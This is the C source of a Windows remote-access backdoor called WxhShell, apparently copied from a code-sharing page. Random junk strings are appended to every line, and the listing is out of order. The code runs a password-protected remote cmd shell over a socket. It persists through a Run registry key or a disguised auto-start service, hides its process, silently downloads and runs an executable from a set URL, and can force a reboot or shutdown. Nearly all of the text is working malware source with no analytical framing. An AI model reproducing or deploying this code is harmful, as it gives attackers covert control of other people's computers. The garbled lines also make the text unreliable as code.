    if(Boot(SHUTDOWN)) Q ?Nzt;)!.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iww h,(  
    else { S [u <vHy  
    closesocket(wsh); )>[(HxvfJU  
    ExitThread(0); d>AVUf<o~  
    } 8\a)}k~4  
    break; -8pHjry'q  
    } v5 9>  
  // 获取shell  Mys;Il "  
  case 's': { L>L4%?  
    CmdShell(wsh); b _u&%  
    closesocket(wsh); S3J6P2P  
    ExitThread(0); ,LMme}FFeb  
    break; $ o t"Du  
  } DI&xTe9k  
  // 退出 )Z; Y,g  
  case 'x': { qC 6Q5F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 't|F}@HP  
    CloseIt(wsh); [p7le8=  
    break; !t_,x=  
    } u>(Q& 25  
  // 离开 }6S4yepl  
  case 'q': { QyN~Crwo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w{r ->Phe  
    closesocket(wsh); %(kq Hxc  
    WSACleanup(); .i. |wY  
    exit(1); vj_oMmjKw  
    break; E"" /dC:B  
        } ?"C]h s  
  } \E#r[9F{  
  } &U,f~KJ  
oqY?#p/  
  // 提示信息 Xoik%T-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b%_QL3 m6  
} Q3/q%#q>  
  } 9M!_D?+P?  
57j:Lw~   
  return; ~/#?OLj(T  
} ke4q$pD  
L;f=\q"g  
// shell模块句柄 JDhA{VN6  
int CmdShell(SOCKET sock) b\+|g9Tm  
{ cj8r-Vu/N  
STARTUPINFO si; lLJb3[ e.  
ZeroMemory(&si,sizeof(si)); XWvs~Xw@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8bysg9H0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }3*h`(Bv7  
PROCESS_INFORMATION ProcessInfo; .*f;v4!  
char cmdline[]="cmd"; >3kR~:;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3@&H)fdp6a  
  return 0; vV'^HD^v  
} iwVra"y  
zk/!#5JtK  
// 自身启动模式 $e;!nI;z  
int StartFromService(void) *.+>ur?t  
{ -'0AV,{Z  
typedef struct Mu( Y6  
{ {xykf7zp  
  DWORD ExitStatus; 'w!gQ#De  
  DWORD PebBaseAddress; yd%\3}-  
  DWORD AffinityMask; A,og9<+j-  
  DWORD BasePriority; lxmS.C  
  ULONG UniqueProcessId; XVLuhw i  
  ULONG InheritedFromUniqueProcessId; C[KU~@  
}   PROCESS_BASIC_INFORMATION; E*I]v  
dSL %%  
PROCNTQSIP NtQueryInformationProcess; S]o  
N1Z8I:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |{jAMC0#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I[`2MKh  
!Q3Snu=  
  HANDLE             hProcess; %zD-gw>  
  PROCESS_BASIC_INFORMATION pbi; UxvsSHi  
b(yO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KALg6DZe:  
  if(NULL == hInst ) return 0; Gu}x+hG  
5HIpoj;\(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b mm@oi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6m" 75  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _9@?Th&_e  
 bSR<d  
  if (!NtQueryInformationProcess) return 0; '; dW'Uwc  
E 5t+;vL~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1;xw)65  
  if(!hProcess) return 0; =5/;h+bk+3  
PHK#b.B>a8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0;H6b=  
t? A4xk  
  CloseHandle(hProcess); y;Zfz~z  
mce`1Tjw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p)^:~ ll  
if(hProcess==NULL) return 0; )eFFtnu5  
PJYA5"}W  
HMODULE hMod; OT& E)eR  
char procName[255]; M$W#Q\<*#r  
unsigned long cbNeeded; w.Vynb  
L@_">' pR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &+j^{a  
(rG1_lUDu  
  CloseHandle(hProcess); XH *tChf<  
 b:QFD|  
if(strstr(procName,"services")) return 1; // 以服务启动 %1@<),  
lp}WBd+  
  return 0; // 注册表启动 ^'fKey`  
} oGVSy`ku  
cO RMR!  
// 主模块 u0Erz0*G4  
int StartWxhshell(LPSTR lpCmdLine) xs I/DW  
{ mCt>s9a)H  
  SOCKET wsl; u,akEvH~a  
BOOL val=TRUE; U&n>fXTHn  
  int port=0; $048y X 7M  
  struct sockaddr_in door; KYu(H[a  
Y+ Z9IiS7  
  if(wscfg.ws_autoins) Install(); $ tNhwF  
"k<:a2R  
port=atoi(lpCmdLine); $vLV< y07  
,/:a77  
if(port<=0) port=wscfg.ws_port; &7T H V  
fBgKX ?Y  
  WSADATA data; CdDd+h8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '^l^gW/|\  
i f<<lq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]X~g@O{>_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yOK])&c  
  door.sin_family = AF_INET; SO<m(o)G2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0Ad ~!Y+1  
  door.sin_port = htons(port); dn\F!  
0Mu8ZVI{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o$ce1LO?|N  
closesocket(wsl); KF_Wu}q d  
return 1; ^A[`NYK  
} '98h<(@]  
~{vdP=/WP  
  if(listen(wsl,2) == INVALID_SOCKET) { MgQU6O<  
closesocket(wsl); "-n%874IT  
return 1; 3> #mO}\  
} 6eT'[Umx  
  Wxhshell(wsl); GWInN8.5  
  WSACleanup(); ZGpTw[5ql  
@pG lWw9*  
return 0; 3Y{)(%I  
pRwGv  
} UB$`;'|i  
2rCY&8  
// 以NT服务方式启动 }=hoATs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X^D9)kel  
{ +%Y c4  
DWORD   status = 0; mp,e9Nd;  
  DWORD   specificError = 0xfffffff; N+M&d3H`  
n<:d%&^n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vaRwh E:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dA} 72D?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a*':W%7  
  serviceStatus.dwWin32ExitCode     = 0; K@P`_yxN  
  serviceStatus.dwServiceSpecificExitCode = 0; EotwUT|  
  serviceStatus.dwCheckPoint       = 0; e?| URW  
  serviceStatus.dwWaitHint       = 0; T]6c9_  
V< vPFxC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >yBxa)  
  if (hServiceStatusHandle==0) return; akhL\-d)al  
%L j0  
status = GetLastError(); %x6Ov\s2  
  if (status!=NO_ERROR) 6 r.H8  
{ gXu^"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; AM[jL'r|  
    serviceStatus.dwCheckPoint       = 0; %R|"Afa=  
    serviceStatus.dwWaitHint       = 0; e[QxFg0E  
    serviceStatus.dwWin32ExitCode     = status; )4~sQ^}  
    serviceStatus.dwServiceSpecificExitCode = specificError; VS9]p o>=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); XalJo@%-  
    return; 9c6GYWIFt&  
  } h ??C4z  
A!{.|x[S44  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'q92E(  
  serviceStatus.dwCheckPoint       = 0; IE)"rTI)b  
  serviceStatus.dwWaitHint       = 0; *NW QmC~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;4G\]%c)E{  
} ``$%L=_m  
M%&A.j[  
// 处理NT服务事件,比如:启动、停止 n#>.\F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vK6ibl0  
{ qB F!b0lr  
switch(fdwControl) R6!cK[e]4  
{ {jhmp\PN  
case SERVICE_CONTROL_STOP: "%E-X:Il#  
  serviceStatus.dwWin32ExitCode = 0; y|6@-:B.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `~ _H=l9{  
  serviceStatus.dwCheckPoint   = 0; S,9NUt  
  serviceStatus.dwWaitHint     = 0; %i$M/C"(  
  { -XVEV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !ww:O|0  
  } j/H>0^  
  return; c6,s+^^  
case SERVICE_CONTROL_PAUSE: l Io9,Ke  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A<SOT>m]  
  break; d1V^2Hb?  
case SERVICE_CONTROL_CONTINUE: {}_Nep/;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oWp}O?  
  break; 9zZ5Lr^21  
case SERVICE_CONTROL_INTERROGATE: )'[x)q  
  break; IvTzPPP  
}; Vvm=MBgN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QqiJun_m  
} VYamskK[G:  
!%c{+]g  
// 标准应用程序主函数 K`QOU-M@}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RpO@pd m  
{ 7R9nMGJ@  
5: daa  
// 获取操作系统版本 YlswSQ  
OsIsNt=GetOsVer(); )bLGEmm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "1XXE3^^  
VG_uxKY  
  // 从命令行安装 d4Co^A&  
  if(strpbrk(lpCmdLine,"iI")) Install(); `DLp<_z>  
qH#r-  
  // 下载执行文件 ?a5h iN0  
if(wscfg.ws_downexe) { H2qf'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iHAU|`'N)  
  WinExec(wscfg.ws_filenam,SW_HIDE); b7B+eN ?z  
} :}y9$p  
Ap5}5 ewM  
if(!OsIsNt) { |[S90Gw]  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;n`R\NO9  
HideProc(); 3 p/b  
StartWxhshell(lpCmdLine); "]VDY)  
} gi6g"~%@q1  
else Deg!<[Nw  
  if(StartFromService()) aUH\Ee^M:R  
  // 以服务方式启动 YD&|1h  
  StartServiceCtrlDispatcher(DispatchTable); |K L')&"  
else XE_ir Et  
  // 普通方式启动 ?y ~TCqV  
  StartWxhshell(lpCmdLine); I=K!)X$  
NO-k-  
return 0; 10wvfRhng  
} q7X}MAW  
r&}(9Cq&"y  
U1ZIuDg'E  
KH7VR^;mk  
=========================================== j-7u>s-l  
XJqTmj3   
>+cSPN'i>  
.VT;H1#  
d/3J' (cq  
XC[]E)8  
" eR:b=%T8  
opsQn\4DZ?  
#include <stdio.h> aaDP9FW9e  
#include <string.h> )Im3'0l>  
#include <windows.h> 9\HR60V  
#include <winsock2.h> sI_7U^"[  
#include <winsvc.h> eGm:)   
#include <urlmon.h> ]' Y|N l  
/;?M?o"H  
#pragma comment (lib, "Ws2_32.lib") Xka<I3UD5  
#pragma comment (lib, "urlmon.lib") kv6Cp0uFg  
5?WYsj"  
#define MAX_USER   100 // 最大客户端连接数 *G9sy_  
#define BUF_SOCK   200 // sock buffer xwRhs!`t1  
#define KEY_BUFF   255 // 输入 buffer 9lf*O0Z&n  
6{q;1-8j+j  
#define REBOOT     0   // 重启 <,"4k&0Q>V  
#define SHUTDOWN   1   // 关机 +`@M*kd  
q\%cFB}  
#define DEF_PORT   5000 // 监听端口 { ;s;.  
AS)UJ/lC  
#define REG_LEN     16   // 注册表键长度 ,57$N&w  
#define SVC_LEN     80   // NT服务名长度 =; 0wFwSz  
j^flwk  
// 从dll定义API \v+u;6cx_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~#R9i^Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'JieIKu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C|MQ $~5:w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,~COZi;R.D  
rcV-_+KE(B  
// wxhshell配置信息 8WL8/  
struct WSCFG { +#2)kg 9_  
  int ws_port;         // 监听端口 ~ 3^='o  
  char ws_passstr[REG_LEN]; // 口令 ]hA,LY f  
  int ws_autoins;       // 安装标记, 1=yes 0=no LxLy+yC#p  
  char ws_regname[REG_LEN]; // 注册表键名 !\FkG8  
  char ws_svcname[REG_LEN]; // 服务名 +oI3I~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F]UQuOR)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ';0 qj$ #  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 glj7$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O*[{z)M.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {:Aw_z:'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y34/+Fi  
G O{ . 9_2  
}; *wuqa) q2  
!*aPEf270  
// default Wxhshell configuration u:&o}[  
struct WSCFG wscfg={DEF_PORT, ~e `Bq>  
    "xuhuanlingzhe", Kz jC/1sd  
    1, c~0{s>  
    "Wxhshell", oc7$H>ET1  
    "Wxhshell", CS 8jA\  
            "WxhShell Service", 8S]".  
    "Wrsky Windows CmdShell Service", (hB?  
    "Please Input Your Password: ", "9IYB)Js  
  1, (-0ePSOG  
  "http://www.wrsky.com/wxhshell.exe", ZrO!L_/  
  "Wxhshell.exe" +x=)/;:  
    }; 33'Y[4  
"T2"]u<52  
// 消息定义模块 eujK4s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =^&%9X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hA}~es=c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b&#DnZcf  
char *msg_ws_ext="\n\rExit."; MZV_5i@:  
char *msg_ws_end="\n\rQuit."; ,E;;wdIt  
char *msg_ws_boot="\n\rReboot..."; !8 -oR6/$%  
char *msg_ws_poff="\n\rShutdown..."; ;{#^MD MB  
char *msg_ws_down="\n\rSave to "; [kV;[c}  
fpWg R4__  
char *msg_ws_err="\n\rErr!"; oR .cSGh  
char *msg_ws_ok="\n\rOK!"; b| M3 `  
J-xS:Ha'l  
char ExeFile[MAX_PATH]; yF13Of^l./  
int nUser = 0; :O-iykXyI  
HANDLE handles[MAX_USER]; :kMHRm@{  
int OsIsNt; x YfD()w<I  
+JRF0T  
SERVICE_STATUS       serviceStatus; +k\Uf*wh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }|\d+V2On  
/PzcvN  
// 函数声明 31WC=ur5  
int Install(void); Vw tZLP36  
int Uninstall(void); 6E ~g#(8  
int DownloadFile(char *sURL, SOCKET wsh); 2S"Nf8>zp  
int Boot(int flag); D&G"BZx|  
void HideProc(void); 2)X4y"l  
int GetOsVer(void); vI1i, x#i  
int Wxhshell(SOCKET wsl); ^EELaG  
void TalkWithClient(void *cs); "9!d]2.-Vk  
int CmdShell(SOCKET sock); 2I/xJ+  
int StartFromService(void); $e1=xSQp4  
int StartWxhshell(LPSTR lpCmdLine); Cx<0 H  
0AK,&nbF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0 B@n{PvR0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {q%Sx*k9[  
{@W93=Vq8  
// 数据结构和表定义 .Jx9bIw  
SERVICE_TABLE_ENTRY DispatchTable[] = h RC  
{ 1Xu?(2;NF  
{wscfg.ws_svcname, NTServiceMain}, XV3C`:b  
{NULL, NULL} *N'K/36;  
}; {-3LIO  
O7d$YB_'  
// 自我安装 7hP<f}xL  
int Install(void) ({r*=wAP  
{ #LlUxHv #  
  char svExeFile[MAX_PATH]; 3_Cp%~Gi-_  
  HKEY key; !Ucjax~  
  strcpy(svExeFile,ExeFile); b[9&l|y^  
/X"/ha!=&D  
// 如果是win9x系统,修改注册表设为自启动 ]\-^>!F#K  
if(!OsIsNt) { ^I8Esl8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ncu`vYI.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N;Dp~(1 J1  
  RegCloseKey(key); >F1kR\!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5|3e&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M_v?9L  
  RegCloseKey(key); j9Yb x#  
  return 0; ^G&3sF}  
    } ^d}gpin  
  } &LO"g0w  
} aj8A8ma*}  
else { +T/FeVQ  
q<y#pL=k"*  
// 如果是NT以上系统,安装为系统服务 o[oM8o<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~5Pb&+<$  
if (schSCManager!=0) 6E(Qx~i L  
{ Y8M]Lwj  
  SC_HANDLE schService = CreateService }En  
  ( |-sPLU&s%  
  schSCManager, F+R?a+e  
  wscfg.ws_svcname, kiUGZ^k\s  
  wscfg.ws_svcdisp, :B3[:MpL}  
  SERVICE_ALL_ACCESS, -;f*VM.a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FZjHw_pP  
  SERVICE_AUTO_START, lC:k7<0Ji  
  SERVICE_ERROR_NORMAL, |4$M]Mf0  
  svExeFile, b@RHc!,>jV  
  NULL, `&\Q +W  
  NULL, theZ]5_C  
  NULL, ahx>q  
  NULL, JB!:JML  
  NULL sn7AR88M;  
  ); |*Z$E$k:  
  if (schService!=0) Lg8nj< TF  
  { *I}`dC[  
  CloseServiceHandle(schService); 'iLpE7  
  CloseServiceHandle(schSCManager); 4tL<q_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~ wg:!VWA)  
  strcat(svExeFile,wscfg.ws_svcname); X%yO5c\l2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]7-&V-Ct*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Qt_dEl  
  RegCloseKey(key); coYij  
  return 0; :0Z^uuk`gq  
    } ?X@fKAj  
  } (c0A.L)  
  CloseServiceHandle(schSCManager); ;iDPn2?6?x  
} :#dE:L;T  
} 2,ECYie^  
)`^p%k  
return 1; 6'\6OsH  
} %%(R@kh9  
G\|,5HED  
// 自我卸载 s4&^D<  
int Uninstall(void) zD?oXs  
{ ~y=T5wt  
  HKEY key; Kw#so; e  
P[s8JDqu  
if(!OsIsNt) { +P.+_7+:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^C2\`jLMY  
  RegDeleteValue(key,wscfg.ws_regname); U,nEbKJgk  
  RegCloseKey(key);  KWLbD#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X,9 M"E 2  
  RegDeleteValue(key,wscfg.ws_regname); v<Bynd-  
  RegCloseKey(key); y% :4b@<  
  return 0; 2]%h$f+  
  } Bl=tYp|a  
} 9UvXC)R1  
} eQQ>  
else { ^CwR!I.D}4  
wAnb Di{W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !w&kyW?e  
if (schSCManager!=0) zYl#4O`=c  
{ C8F7bG8c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sz9L8f2  
  if (schService!=0) CI3XzH\IX*  
  { Z7 E  
  if(DeleteService(schService)!=0) { bWOS `5  
  CloseServiceHandle(schService); re> rr4@  
  CloseServiceHandle(schSCManager); ?%H):r  
  return 0; Y@PI {;!  
  } /x3/Ubmz~x  
  CloseServiceHandle(schService); {Zp\^/  
  } hYawU@R  
  CloseServiceHandle(schSCManager); Ef<b~E@  
} \QmCeB  
} IIy~[4dW  
~'R(2[L!;  
return 1; $s<Ne{?  
} McPNB`.H  
y8fsveX  
// 从指定url下载文件 ;5@  t[r  
int DownloadFile(char *sURL, SOCKET wsh) &+G"k~%  
{ {rcnM7 S1L  
  HRESULT hr; =y=cW1TG  
char seps[]= "/"; }NsUnbxT  
char *token; 4H@Wc^K  
char *file; |HZTN"  
char myURL[MAX_PATH]; pmX#E  
char myFILE[MAX_PATH]; 9cJH"  
 ? w^-  
strcpy(myURL,sURL);  & y<ZE  
  token=strtok(myURL,seps); jsNF#yE>  
  while(token!=NULL) Wh&8pH:  
  { L/"0ws_  
    file=token; LzYO$Ir:g  
  token=strtok(NULL,seps); >0l"P"]  
  } !ti6  
(%`Q hH  
GetCurrentDirectory(MAX_PATH,myFILE); k__$ Q9qj(  
strcat(myFILE, "\\"); dx ;k`r$w  
strcat(myFILE, file); +iI&c s  
  send(wsh,myFILE,strlen(myFILE),0); qc-mGmomL  
send(wsh,"...",3,0); OQ9x*TmK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M,ir`"s  
  if(hr==S_OK)  C:G8c[  
return 0; %Q!`NCe+[  
else x\QY@9  
return 1; wY"Q o7  
7.j[a*^  
} .; &# )l  
A'nq}t 3  
// 系统电源模块 Znetzm=0  
int Boot(int flag) cW+t#>' r  
{ ,K^4fL$C;3  
  HANDLE hToken; Oh4AsOj@  
  TOKEN_PRIVILEGES tkp; Vx @|O%  
Yq/.-4 y  
  if(OsIsNt) {  YBnA+l*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); itzyCw2|#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <7Ae-!>x  
    tkp.PrivilegeCount = 1; DS<  }@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ux+Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I2H6y"p N  
if(flag==REBOOT) { ncx(pp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O iFS}p  
  return 0; =~+DUMBT  
} A=kH%0s2p@  
else { ?-Vjha@BO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w4fW<ISg  
  return 0; +kFxi2L6  
} ,6r{VLN  
  } B*E2.\~  
  else { i<(Xr  
if(flag==REBOOT) { Dr6A ,3B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bBY^+c<  
  return 0; `8FUX= Sh  
} ZNx$r]4nF  
else { T,$WlK Wj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kCXdGhb  
  return 0; Y F*OU"2U  
} ^gFqRbuS  
} is/scv<  
*OyHHq|>q  
return 1; T\r@5Xv  
} ~/_SMPLo  
pa{re,O"e  
// win9x进程隐藏模块 KWWa&[ev)  
void HideProc(void) ox ;  
{ 3 zn W=  
E#F/88(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *@TZ+{t  
  if ( hKernel != NULL ) N;+[`l  
  { [{X^c.8G)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?:Bv iF);/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +[xnZ$Iev  
    FreeLibrary(hKernel); (xq%  
  } ?h1H.s2X  
}ZqW@ -  
return; &Ni`e<mP  
} @UdfAyL  
lqb/eN9(t  
// 获取操作系统版本 IVW1]y  
int GetOsVer(void) i.:. Y  
{ ~i.k$XGA  
  OSVERSIONINFO winfo; $2%f 8&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); KOwOIDt  
  GetVersionEx(&winfo); pn*3\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q#EP|  
  return 1; Sv;_HZ  
  else m%PC8bf`S  
  return 0; l|hUw  
} |{@FMxn|q  
B*gdgM*`  
// 客户端句柄模块 O=9-Qv|  
int Wxhshell(SOCKET wsl) %K]euEqs  
{ pc?>cs8  
  SOCKET wsh; sp* Vqd  
  struct sockaddr_in client; 03j]d&P%d  
  DWORD myID; ~l2aNVv;  
LF0sH)e]  
  while(nUser<MAX_USER) vO;I(^Q  
{ ]#.]/f >-  
  int nSize=sizeof(client); R CkaJ3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); { m| pl  
  if(wsh==INVALID_SOCKET) return 1; 7G)H.L)$m"  
PoIl>c1MS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1$*%"5a  
if(handles[nUser]==0) b2@VxdFN  
  closesocket(wsh); NuU9~gSQ  
else boo }u  
  nUser++; )3(;tT,$}^  
  } o:6@ Kw^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dZ _zg<  
FCkf#  
  return 0; HD N9.5 S  
} 07Ed fe  
6K-5g/hL  
// 关闭 socket -[qq(E  
void CloseIt(SOCKET wsh) K6olYG>  
{ wd/< 8>2X  
closesocket(wsh); MfmACd^3$  
nUser--; ^`<w&I@  
ExitThread(0); q%5eVG  
} q:<{% U$  
{3!E4"p  
// 客户端请求句柄 a5G/[[cwTV  
void TalkWithClient(void *cs) G/v/+oX  
{ }(<%`G6N  
hb{ u'=  
  SOCKET wsh=(SOCKET)cs; 1EyL#;k  
  char pwd[SVC_LEN]; W0=O+0$^  
  char cmd[KEY_BUFF]; 9!><<7TS  
char chr[1]; MaD3[4@#  
int i,j; FEo269Ur  
R=T qj,6  
  while (nUser < MAX_USER) { iZZ (4  
-WQ^gcO=7  
if(wscfg.ws_passstr) { ?2Kt'1s#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =tU{7i*+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9h0X&1u  
  //ZeroMemory(pwd,KEY_BUFF); +1~Z#^{&  
      i=0; K\)Td+~jc  
  while(i<SVC_LEN) { kg`.[{k  
>Yt/]ta4+  
  // 设置超时 iKas/8   
  fd_set FdRead; phE &7*!Q  
  struct timeval TimeOut; FW"^99mrnb  
  FD_ZERO(&FdRead); "6a8s;  
  FD_SET(wsh,&FdRead); W(hMft%  
  TimeOut.tv_sec=8; vLxQ *50v$  
  TimeOut.tv_usec=0; r",]Voibd  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c/ 5W4_J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xm6EKp:  
F:#J:x'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oDcKtB+2  
  pwd=chr[0]; ?:Y#Tbi3  
  if(chr[0]==0xd || chr[0]==0xa) { S!{t6'8K  
  pwd=0; 8?Z4-6!{V,  
  break; +w8R!jdA  
  } rDdzxrKg{  
  i++; )NR Q2  
    } BA=,7y&;j  
]m#5`zGK1|  
  // 如果是非法用户,关闭 socket 4:9KR[y/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A6oq.I0  
} G Xt4j  
uGs; }<<8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~r{5`;c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }Yv\0\~'W|  
{m`A!qcD|  
while(1) { 0 'Vg6E]/  
s`Cy a`  
  ZeroMemory(cmd,KEY_BUFF); "G:<7oTa  
%{;Qls%[t  
      // 自动支持客户端 telnet标准   7E!7"2e a  
  j=0; O@iu aeEW  
  while(j<KEY_BUFF) { M.td^l0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S^Au#1e   
  cmd[j]=chr[0]; H[b}kZW:a  
  if(chr[0]==0xa || chr[0]==0xd) { c)&>$S8*  
  cmd[j]=0; `Bn=?9  
  break; ,^8MB.  
  } NU (AEfF  
  j++; BGr.yEy  
    } "g+z !4b#  
@u._"/K  
  // 下载文件 *1@:'rJ  
  if(strstr(cmd,"http://")) { { BEo &  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); iBudmT8  
  if(DownloadFile(cmd,wsh)) ",>H(wJ8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Yav2q3  
  else 7FO'{Qq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xmGk*W)P  
  } $ OVXk'cc  
  else { [\R>Xcu>  
q8ImrC.'^  
